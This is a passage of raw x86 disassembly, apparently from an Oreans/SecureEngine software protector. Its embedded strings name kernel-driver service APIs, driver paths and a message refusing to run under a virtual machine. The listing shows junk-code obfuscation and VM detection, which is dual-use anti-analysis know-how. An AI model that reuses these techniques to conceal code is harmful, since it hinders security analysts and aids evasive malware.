		jz	loc_5B5B53
		mov	dword ptr [ebp+7E91A45h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B5B53:				; CODE XREF: sub_5B5AAF+93j
		lea	esi, [ebp+7EC1BBCh]
		call	sub_5B5CDF
		add	edi, [ebp+7EC1C32h]
		cmp	dword ptr [ebp+7EC1C32h], 0
		jz	loc_5B5B86
		mov	dword ptr [ebp+7E91A45h], 1
		mov	dword ptr [ebp+7E918A5h], 1
		retn
; ---------------------------------------------------------------------------


loc_5B5B86:				; CODE XREF: sub_5B5AAF+BCj
		lea	esi, [ebp+7EC1BCAh]
		call	sub_5B5CDF
		add	edi, [ebp+7EC1C32h]
		cmp	dword ptr [ebp+7EC1C32h], 0
		jz	loc_5B5BAE
		mov	dword ptr [ebp+7E9077Dh], 1


loc_5B5BAE:				; CODE XREF: sub_5B5AAF+EFj
		lea	esi, [ebp+7EC1BD4h]
		call	sub_5B5CDF
		add	edi, [ebp+7EC1C32h]
		cmp	dword ptr [ebp+7EC1C32h], 0
		jz	loc_5B5BD6
		mov	dword ptr [ebp+7E9077Dh], 1


loc_5B5BD6:				; CODE XREF: sub_5B5AAF+117j
		lea	esi, [ebp+7EC1BDFh]
		call	sub_5B5CDF
		add	edi, [ebp+7EC1C32h]
		cmp	dword ptr [ebp+7EC1C32h], 0
		jz	loc_5B5BFE
		mov	dword ptr [ebp+7E915F5h], 1


loc_5B5BFE:				; CODE XREF: sub_5B5AAF+13Fj
		lea	esi, [ebp+7EC1BE5h]
		call	sub_5B5CDF
		add	edi, [ebp+7EC1C32h]
		cmp	dword ptr [ebp+7EC1C32h], 0
		jz	loc_5B5C26
		mov	dword ptr [ebp+7E92AB1h], 1


loc_5B5C26:				; CODE XREF: sub_5B5AAF+167j
		lea	esi, [ebp+7EC1BEBh]
		call	sub_5B5CDF
		add	edi, [ebp+7EC1C32h]
		cmp	dword ptr [ebp+7EC1C32h], 0
		jz	loc_5B5C4E
		mov	dword ptr [ebp+7E93491h], 1


loc_5B5C4E:				; CODE XREF: sub_5B5AAF+18Fj
		lea	esi, [ebp+7EC1BF9h]
		call	sub_5B5CDF
		add	edi, [ebp+7EC1C32h]
		cmp	dword ptr [ebp+7EC1C32h], 0
		jz	loc_5B5C76
		mov	dword ptr [ebp+7E9198Dh], 1


loc_5B5C76:				; CODE XREF: sub_5B5AAF+1B7j
		lea	esi, [ebp+7EC1C06h]
		call	sub_5B5CDF
		add	edi, [ebp+7EC1C32h]
		cmp	dword ptr [ebp+7EC1C32h], 0
		jz	loc_5B5C9E
		mov	dword ptr [ebp+7E90C01h], 1


loc_5B5C9E:				; CODE XREF: sub_5B5AAF+1DFj
		lea	esi, [ebp+7EC1C11h]
		call	sub_5B5CDF
		add	edi, [ebp+7EC1C32h]
		cmp	dword ptr [ebp+7EC1C32h], 0
		jz	loc_5B5CC6
		mov	dword ptr [ebp+7E90F6Dh], 1


loc_5B5CC6:				; CODE XREF: sub_5B5AAF+207j
		jmp	loc_5B5CCC
; ---------------------------------------------------------------------------


loc_5B5CCB:				; CODE XREF: sub_5B5AAF+229j
		inc	edi


loc_5B5CCC:				; CODE XREF: sub_5B5AAF:loc_5B5CC6j
		cmp	byte ptr [edi],	20h
		jz	locret_5B5CDE
		cmp	byte ptr [edi],	0
		jnz	loc_5B5CCB

locret_5B5CDE:				; CODE XREF: sub_5B5AAF+220j
		retn
sub_5B5AAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_5B5CDF	proc near		; CODE XREF: sub_5B5AAF+6p
					; sub_5B5AAF+2Fp ...
		pusha
		mov	ecx, 1
		mov	ebx, esi
		jmp	loc_5B5D08
; ---------------------------------------------------------------------------


loc_5B5CEC:				; CODE XREF: sub_5B5CDF+34j
		cmp	byte ptr [edi],	0
		jnz	loc_5B5CF7
		sub	ecx, ecx


loc_5B5CF7:				; CODE XREF: sub_5B5CDF+10j
		mov	dl, [edi]
		cmp	[esi], dl
		jz	loc_5B5D06
		mov	ecx, 0


loc_5B5D06:				; CODE XREF: sub_5B5CDF+1Cj
		inc	esi
		inc	edi


loc_5B5D08:				; CODE XREF: sub_5B5CDF+8j
		cmp	byte ptr [esi],	0
		jz	loc_5B5D19
		or	ecx, ecx
		jnz	loc_5B5CEC


loc_5B5D19:				; CODE XREF: sub_5B5CDF+2Cj
		or	ecx, ecx
		jz	loc_5B5D42
		cmp	byte ptr [edi],	0
		jz	loc_5B5D33
		cmp	byte ptr [edi],	20h
		jnz	loc_5B5D3D


loc_5B5D33:				; CODE XREF: sub_5B5CDF+45j
		mov	ecx, 1
		jmp	loc_5B5D42
; ---------------------------------------------------------------------------


loc_5B5D3D:				; CODE XREF: sub_5B5CDF+4Ej
		mov	ecx, 0


loc_5B5D42:				; CODE XREF: sub_5B5CDF+3Cj
					; sub_5B5CDF+59j
		or	ecx, ecx
		jz	loc_5B5D57
		sub	esi, ebx
		mov	[ebp+7EC1C32h],	esi
		jmp	loc_5B5D61
; ---------------------------------------------------------------------------


loc_5B5D57:				; CODE XREF: sub_5B5CDF+65j
		mov	dword ptr [ebp+7EC1C32h], 0


loc_5B5D61:				; CODE XREF: sub_5B5CDF+73j
		popa
		retn
sub_5B5CDF	endp

; ---------------------------------------------------------------------------


loc_5B5D63:				; CODE XREF: sdfs____:005B5A42j
					; sdfs____:005B5A4Cj ...
		mov	eax, 0
		or	eax, eax
		jz	loc_5B5D7A
		mov	dword ptr [ebp+7E9077Dh], 0


loc_5B5D7A:				; CODE XREF: sdfs____:005B5D6Aj
		mov	ecx, eax
		jmp	loc_5B6E38
; ---------------------------------------------------------------------------
		db 41h,	44h, 56h
		dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh
		dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h
		dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h
		dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h
		dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h
		dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h
		dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
		dd 6165726Fh, 3678736Eh, 79732E34h, 73h, 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
		dd 65530000h, 63697672h, 61502065h, 32206B63h, 1Dh dup(0)
		dd 6F530000h, 61777466h, 575C6572h, 656E69h
; ---------------------------------------------------------------------------


loc_5B6E38:				; CODE XREF: sdfs____:005B5D7Cj
		mov	eax, esp
		mov	[ebp+7E93435h],	ebx
		mov	[ebp+7E919ADh],	eax
		push	0
		push	eax
		call	sub_5B6E51
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6E51	proc near		; CODE XREF: sdfs____:005B6E49p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5B6E51	endp

; ---------------------------------------------------------------------------
		db 8Ch,	12h, 6Fh
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		inc	ebp
		add	eax, 619D0177h
		add	ecx, ebp
		pop	es
		mov	eax, eax
		push	0
		push	esi
		call	sub_5B6E7B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6E7B	proc near		; CODE XREF: sdfs____:005B6E73p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5B6E7B	endp

; ---------------------------------------------------------------------------
		db 9Dh
		dd 669453EAh, 8529DF6Fh, 7E91815h, 18A5BD83h, 750007E9h
		dd 45BD8309h, 7E91Ah, 53501974h, 3DB8C08Bh, 89000004h
		dd 0E911F985h, 0CE9D8D07h, 0FF07EBD7h, 83585BD3h, 0E91A45BDh
		dd 17740007h, 3DB85350h, 89000004h, 0E911F985h,	0BD9D8D07h
		dd 0FF07EBD4h, 0B9585BD3h, 37FD942Fh, 0FAF78166h, 0DABA6609h
		dd 0B9C08BC2h, 4390890Ah, 66FCC08Bh, 83BB55BAh,	0E918A5BDh
		dd 9750007h, 1A45BD83h,	740007E9h, 8B535013h, 0B8C0h, 9D8D0000h
		dd 7EBD670h, 585BD3FFh,	1A45BD83h, 740007E9h, 0B8535011h
		dd 0
		dd 0D5219D8Dh, 0D3FF07EBh, 0AE8585Bh, 0FE000000h, 230F5D8Bh
		dd 0CA325DF4h, 8A0FEEh,	5F000000h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 19C35545h, 850F5A95h, 2, 0C08B93B1h
		dd 0D837B966h, 0BD8BC08Bh, 7E9159Dh, 18A5BD83h,	750007E9h
		dd 45BD8309h, 7E91Ah, 53501374h, 0B8C08Bh, 8D000000h, 0EBD5A29Dh
		dd 5BD3FF07h, 45BD8358h, 7E91Ah, 53501174h, 0B8h, 0EF9D8D00h
		dd 0FF07EBD4h, 23585BD3h, 0E919D5BDh, 8D2BFC07h, 7E90F69h
		dd 8D8BC08Bh, 7E923EDh,	8B60C08Bh, 0E926799Dh, 5E907h
		dd 7A7C0000h, 6108BD57h, 18A5BD83h, 750007E9h, 45BD8309h
		dd 7E91Ah, 53501374h, 0B8C08Bh,	8D000000h, 0EBD6099Dh
		dd 5BD3FF07h, 45BD8358h, 7E91Ah, 53501174h, 0B8h, 89D8D00h
		dd 0FF07EBD5h, 8A585BD3h, 98EA81F1h, 0E91BD9D4h, 6, 74BD6BCAh
		dd 0C08B45B4h, 0EE953h,	0B78D0000h, 850DDEC3h, 0CC6A15B0h
		dd 396BD6A5h, 83C08B5Fh, 0E918A5BDh, 9750007h, 1A45BD83h
		dd 740007E9h, 8B535013h, 0B8C0h, 9D8D0000h, 7EBD53Bh, 585BD3FFh
		dd 7E58529h, 0DE907E9h,	9000000h, 318A1C1Dh, 8CAE6F4Fh
		dd 0F3E1E286h, 0BF0FC08Bh, 79D981FFh, 8B64AB40h, 52006AC0h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 8ECAD25Bh, 18A5BD83h, 750007E9h, 45BD8309h, 7E91Ah
		dd 53501974h, 0D0B8C08Bh, 89000007h, 0E911F985h, 0CE9D8D07h
		dd 0FF07EBD7h, 83585BD3h, 0E91A45BDh, 17740007h, 0D0B85350h
		dd 89000007h, 0E911F985h, 0BD9D8D07h, 0FF07EBD4h, 9585BD3h
		dd 0E92E4D95h, 499D3107h, 8B07E907h, 38B0FC0h, 0F000000h
		dd 0B70FC9BFh, 5985C6D3h, 5307E926h, 15B501h, 8D8907E9h
		dd 7E90F95h, 395F9068h,	91958B99h, 0FF07E910h, 0E92669B5h
		dd 0A6DA8007h, 3ABC858Dh, 0BF0F07E9h, 0FD0FFD1h, 8Ah, 85858900h
		dd 6A07E922h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 528FC352h, 2AED27A8h, 1CCAD85Dh
		dd 5ACA8B56h, 68A0Fh, 0BD0B0000h, 7E92E65h, 265985C6h
		dd 895707E9h, 0E91979B5h, 5E907h, 89470000h, 68D8590Ch
		dd 90045206h, 68C0Fh, 0BD8B0000h, 7E93481h, 7FEA8166h
		dd 69B5FFE0h, 8907E926h, 0E913918Dh, 0D99D8907h, 8D07E912h
		dd 0E93ABC85h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0A863FC16h, 0FCE30EEEh
		dd 8B51D0FFh, 0E9200DBDh, 85895907h, 7E9233Dh, 68F0Fh
		dd 9D010000h, 7E92A29h,	265985C6h, 6A4307E9h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 76C1C353h, 8ABDD2D4h, 10E9F5h, 6E9E0000h, 9283B2B6h
		dd 43CEE89Bh, 7591BDB6h, 28686076h, 0FBC9070h, 58Ch, 0C9D5BA00h
		dd 11E9229Bh, 0CF000000h, 4B40A73Eh, 59B4D8C7h,	19C1D730h
		dd 447C2AE2h, 2669B5FFh, 0F6007E9h, 860FC0BFh, 6, 1BD9D8Bh
		dd 8D6107E9h, 0E93ABC85h, 10E907h, 194D0000h, 46DE1A66h
		dd 506D9C35h, 94BF216h,	0D0FFCE1Eh, 2289BD8Bh, 858907E9h
		dd 7E91D79h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0CC35545h, 0ABD26286h, 265985C6h, 0F4C07E9h, 89h
		dd 1CE96800h, 6AD9DAh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0D25E2CC3h, 1E6734CFh, 0FF5D655Ch
		dd 0E92669B5h, 49858907h, 8D07E907h, 0E93ABC85h, 3CD8007h
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0FC23D7C3h, 0D4D18166h, 418589EAh, 0C607E900h
		dd 0E9265985h, 0BF664607h, 8B505C94h, 0E90025BDh, 14685F07h
		dd 29BADE06h, 0E9260D95h, 69B5FF07h, 6607E926h,	0D48ECA81h
		dd 49958B57h, 5A07E935h, 3ABC858Dh, 0D0FF07E9h,	4957BA66h
		dd 0C458589h, 13E907E9h, 22000000h, 6BB50593h, 80F0F996h
		dd 0E6052AE5h, 88B34B6Ch, 85C6B253h, 7E92659h, 9D958947h
		dd 6807E911h, 8A0FB5E2h, 14870Fh, 0E9600000h, 7, 49BEEDFh
		dd 0FE067F6h, 80h, 0B5FF6100h, 7E92669h, 498D8Bh, 858D07E9h
		dd 7E93ABCh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	8BC35343h, 48819CA9h, 0D0FF83A9h, 8589FE8Bh, 7E92489h
		dd 6109C1BFh, 5985C622h, 4707E926h, 647DB966h, 0D0BF0F60h
		dd 0B5F36861h, 8B6683D0h, 69B5FFD7h, 6A07E926h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0DD95C353h, 7DCE7Ah,	0CE9D9h, 0F7F90000h, 0FDBC11F4h
		dd 0FE6864C8h, 858D0230h, 7E93ABCh, 0D0FFFA8Bh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C0C35343h, 15E4896Fh
		dd 89AF6FB6h, 0E900CD85h, 6E907h, 0A9DB0000h, 9635604Ch
		dd 265985C6h, 37707E9h,	0E9265D8Dh, 0A8A36807h,	0CE9F397h
		dd 0A7000000h, 14354EC3h, 157B8026h, 0FFB31F83h, 0E916B5B5h
		dd 37BF6607h, 0BC858DB1h, 3107E93Ah, 0E91C3D85h, 8BD0FF07h
		dd 0E930118Dh, 0D5858907h, 0B607E90Ah, 5985C657h, 4707E926h
		dd 0FAF668F9h, 6A8728h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 8B66D9C3h, 69B5FFCEh, 6607E926h
		dd 858DCE8Bh, 7E93ABCh,	34418589h, 0D0FF07E9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 76C35141h, 810FE6FFh
		dd 6, 29D1958Bh, 858907E9h, 7E91665h, 15C9952Bh, 0E78107E9h
		dd 534AD2BFh, 265985C6h, 664307E9h, 685696BAh, 0BC8E6EFCh
		dd 68F0Fh, 8D8B0000h, 7E90F0Dh,	2669B5FFh, 6A07E9h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0EE6635C3h, 0BDA29BFCh, 3ABC858Dh, 816007E9h, 2F123FF0h
		dd 0D0FF614Dh, 22D9BD89h, 858907E9h, 7E91C0Dh, 199D8B60h
		dd 6607E916h, 6443EB81h, 0C6D08B61h, 0E9265985h, 6A4507h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0A8B459C3h, 61958960h, 0E907E91Fh, 14h, 16577D4Fh, 330446FFh
		dd 0E9900E1Dh, 9C2668DCh, 21C61574h, 69696861h,	14E98E72h
		dd 3E000000h, 24B89327h, 8A1F0C0h, 0E87602Eh, 747CBA3Ah
		dd 0FF797235h, 0E92669B5h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8D78B580h
		dd 0E93ABC85h, 0D08B6607h, 8D0FD0FFh, 6, 2EA99D89h, 858907E9h
		dd 7E9138Dh, 85E78166h,	5985C6A7h, 4407E926h, 0EE9h, 76C12A00h
		dd 15BDD2D4h, 0BE3C3D15h, 68AA9A45h, 0B8F2EC64h, 3591BD89h
		dd 0B5FF07E9h, 7E92669h, 115D8D8Bh, 858D07E9h, 7E93ABCh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0C5C35141h
		dd 0E7F68451h, 95BD8B11h, 0F07E90Ch, 489h, 5A505200h, 66D0FF5Fh
		dd 8BE480BAh, 0E91ECD95h, 0E1858907h, 6007E91Fh, 0FE1B531h
		dd 0B70F07E9h, 8D0161F8h, 7E90F01h, 265985C6h, 524307E9h
		dd 5F69E580h, 764AA768h, 0C9B70FC0h
		dd 2669B5FFh, 0CE907E9h, 0F3000000h, 0D44A1EEDh, 43BFE176h
		dd 89A397B1h, 0E924C195h, 0BC858D07h, 0BF07E93Ah, 4D4B72BEh
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8B3604C3h, 0E93219BDh, 39858907h,	6607E901h
		dd 0ACC2E281h, 2BB5BD80h, 0F0007ECh, 0D084h, 0D2816600h
		dd 858D9236h, 7EC2B97h,	161D8D0Bh, 50F907E9h, 8E9h, 0F6818200h
		dd 822255Ah, 89016A19h,	0E90ECD8Dh, 0F006A07h, 6AF8B7h
		dd 7E9h, 0FBB59500h, 57533B3Eh,	1D7995FFh, 9D3107E9h, 7E91819h
		dd 125D8589h, 13E907E9h, 7F000000h, 1497DA1h, 21359D21h
		dd 1E105689h, 0C151AB7h, 0FF6A5985h, 0B5FF10B1h, 7E9125Dh
		dd 6820Fh, 8D8B0000h, 7E91825h,	0F850Fh, 0AE90000h, 0D7000000h
		dd 6B3D6A6Ch, 10F765DEh, 3D95FF09h, 6A07E923h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 7300C351h, 12E9h, 0BB776D00h, 899E6C6Bh, 0A754EB45h
		dd 460E1B86h, 89FCAF65h, 0E92AF185h, 81C08B07h,	91E7C7CAh
		dd 0A5BD835Ch, 7E918h, 0BD830975h, 7E91A45h, 50197400h
		dd 0B8C08B53h, 7D1h, 11F98589h,	9D8D07E9h, 7EBD7CEh, 585BD3FFh
		dd 1A45BD83h, 740007E9h, 0B8535017h, 7D1h, 11F98589h, 9D8D07E9h
		dd 7EBD4BDh, 585BD3FFh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0ADC35747h, 0B58B603Ah, 7E9252Dh, 10E9h
		dd 3B403700h, 0C8EB394Dh, 0EF020732h, 0BB55E828h, 0C08B61F1h
		dd 0E0C18166h, 5985C62Dh, 4707E926h, 51BD29h, 0C16807E9h
		dd 6A93C8F7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 631AC357h, 1A118D29h, 0B5FF07E9h
		dd 7E92669h, 20158529h,	0BD8907E9h, 7E925A5h, 3ABC858Dh
		dd 0BD3307E9h, 7E9248Dh, 0B70FD0FFh, 850F50CAh,	6, 0CB19D89h
		dd 858D07E9h, 7EC2FD8h,	15D5B589h, 0C707E9h, 94h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0F2C35343h, 0D999D89h
		dd 815807E9h, 939AE5D2h, 0D8B58D25h, 0BA07EC2Fh, 5D60B117h
		dd 998D8B56h, 0FF07E91Ch, 880F51D0h, 3,	5AF8B70Fh, 2FD8858Dh
		dd 8B0F07ECh, 5, 0C4425B9h, 478832Bh, 10850F06h, 0C7000000h
		dd 0EC306C85h, 107h, 0BAC78100h, 836B0C53h, 0E909A9BDh
		dd 850F0007h, 60h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0BEC35242h, 4D77EFD7h, 8B57A43Dh, 0BD835AF8h
		dd 7EC306Ch, 2D850F00h,	8B000000h, 15BD83C8h, 7E925h, 1E840Fh
		dd 8D8B0000h, 7E91D01h,	29E585C7h, 7E9h, 958B0000h, 7E9029Dh
		dd 0FDBD8B50h, 5907E908h, 81DB8C66h, 36D70AD9h,	4C3F662h
		dd 558840Fh, 85C70000h,	7E91B69h, 0
; ---------------------------------------------------------------------------
		mov	edx, eax
		cmp	byte ptr [ebp+7EC2BC2h], 0
		jnz	loc_5B7AA5
		push	0
		push	ebp
		call	sub_5B7A8A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7A8A	proc near		; CODE XREF: sdfs____:005B7A82p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5B7A8A	endp

; ---------------------------------------------------------------------------
		mov	dl, 36h
		fbstp	tbyte ptr [edx]
		inc	esp
		push	es
		and	al, 0C6h
		xor	dl, 0FDh


loc_5B7AA5:				; CODE XREF: sdfs____:005B7A79j
		mov	byte ptr [ebp+7E92659h], 47h
		jmp	loc_5B7ABC
; ---------------------------------------------------------------------------
		js	short loc_5B7B19
		retf
; ---------------------------------------------------------------------------
		retn	0EEC0h
; ---------------------------------------------------------------------------
		db 36h
		dd 664898E3h
; ---------------------------------------------------------------------------


loc_5B7ABC:				; CODE XREF: sdfs____:005B7AACj
		push	0E3E45B86h
		movzx	edi, si
		push	dword ptr [ebp+7E92669h]
		mov	ch, 0CFh
		add	dh, 3Ah
		lea	eax, [ebp+7E93ABCh]
		mov	ecx, [ebp+7E91E59h]
		call	eax
		mov	[ebp+7E92461h],	ebx
		push	104h
		mov	edi, 5CD9CCCAh
		mov	ecx, [ebp+7E90EB1h]
		lea	ebx, [ebp+7E913D1h]
		sub	edx, [ebp+7E906FDh]
		push	ebx
		push	0
		push	ecx
		call	sub_5B7B0B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7B0B	proc near		; CODE XREF: sdfs____:005B7B03p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx


loc_5B7B19:				; CODE XREF: sdfs____:005B7AB1j
		push	ecx
		retn
sub_5B7B0B	endp

; ---------------------------------------------------------------------------
		aad	0D5h
		mov	bh, 9Bh
		call	eax
		mov	edx, [ebp+7E91A8Dh]
		lea	eax, [ebp+7E913D1h]
		mov	[ebp+7E90C49h],	eax
		push	eax
		mov	ecx, [ebp+7E917D1h]
		lea	eax, [ebp+7EC2B74h]
		mov	ecx, [ebp+7E90269h]
		mov	[ebp+7E92439h],	edi
		push	eax
		movzx	edx, bx
		lea	eax, [ebp+7EC2247h]
		call	near ptr loc_5B7B61+1
		stc
		test	bl, dh
		or	[ebp-1Ch], al


loc_5B7B61:				; CODE XREF: sdfs____:005B7B56p
		shl	dword ptr [esi-47h], 2Ch
		call	fword ptr [ecx+50h]
		mov	dx, bx
		call	dword ptr [ebp+7E90AD5h]
		push	0
		push	ecx
		call	sub_5B7B7C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7B7C	proc near		; CODE XREF: sdfs____:005B7B74p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5B7B7C	endp

; ---------------------------------------------------------------------------
		dd 0CE1C81E8h, 839A224Fh, 6A0CC4h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0F60BB8C3h, 0BD8B43FCh
		dd 7E929D1h, 6AF98Bh, 8068h, 6A036A00h,	68006A00h, 80000000h
		dd 2247858Dh, 0FF5007ECh, 0E91C0D95h, 57858907h, 0C607EC2Bh
		dd 0E9265985h, 87684707h, 0FFC7B15Eh, 0E92669B5h, 0BC858D07h
		dd 0FF07E93Ah, 0FF006AD0h, 0EC2B57B5h, 0FD0FF07h, 38Bh
		dd 0CAB70F00h, 3DF8B70Fh, 37D0h, 6B830Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0FC3F69C3h, 2B57B5FFh, 0AE807ECh, 12000000h,	4980E47Eh
		dd 59E9172Eh, 0EE8D3h, 99B0000h, 5B3892CEh, 5A0EB91h, 0DB042EA4h
		dd 5A9FC980h, 0E195295Ah, 0FF07E918h, 0E9013995h, 4890F07h
